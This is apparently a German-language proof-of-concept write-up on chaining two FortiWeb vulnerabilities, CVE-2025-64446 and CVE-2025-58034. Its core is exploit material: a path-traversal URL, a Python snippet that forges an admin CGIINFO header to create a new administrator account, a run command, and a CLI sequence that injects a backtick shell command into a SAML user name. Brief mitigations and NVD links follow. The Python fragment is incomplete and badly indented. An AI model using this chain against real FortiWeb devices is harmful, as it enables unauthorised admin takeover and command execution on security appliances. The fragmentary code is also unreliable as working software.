Simulation der Ausnutzung von FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Hinweis:

• Dieses Dokument dient ausschließlich zu Lern- und Sicherheitsforschungszwecken.
• Nicht verwenden, um Systeme ohne Genehmigung anzugreifen.

1. Übersicht

FortiWeb ist ein Web Application Firewall (WAF)-Gerät zum Schutz von Webanwendungen.

Im Jahr 2025 wurden zwei schwerwiegende Schwachstellen entdeckt:

• CVE-2025-64446 – Authentifizierungsumgehung durch Path Traversal
• CVE-2025-58034 – OS Command Injection

2. Übersicht über CVE-2025-64446

Beispiel:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Übersicht über CVE-2025-58034

4. Experimenteller Prozess (POC)

4.1. Umgebungsvorbereitung:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Dies hilft, Bibliothekskonflikte zu vermeiden, die Stabilität der Arbeitsumgebung zu gewährleisten und Auswirkungen auf das System zu minimieren.

4.2 Ausnutzung

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Ausführen des Tools mit Python3:

python3 exploit.py <IP_target>

• <IP_target>: Die IP-Adresse ist hier der Hostname des FortiWeb-Geräts.

Erhalt von Benutzername und Passwort -> Durchführung der Anmeldung

Erfolgreiche Ausnutzung und Erstellung eines neuen Kontos mit Admin-Rechten.

4.3 Ausnutzung von CVE-2025-58034 nach der Kontoanmeldung

Nach erfolgreicher Anmeldung mit dem neu erstellten Administratorkonto kann der Angreifer die authentifizierte Befehlsinjektionsschwachstelle durch speziell gestaltete Anfragen oder direkt über die FortiWeb CLI ausnutzen:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb wird die Konfigurationszeichenfolge verlassen und den Befehl id während der SAML-Benutzerkonfiguration ausführen.

5. Einige Maßnahmen zur Minderung der Schwachstellen

• Aktualisieren Sie FortiWeb auf eine gepatchte Version.
• Beschränken Sie den Zugriff auf die Verwaltungsoberfläche.
• Setzen Sie die Verwaltungsschnittstelle nicht dem Internet aus.
• Überprüfen Sie auf ungewöhnliche Admin-Konten.

6. Zusätzliche Referenzen

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034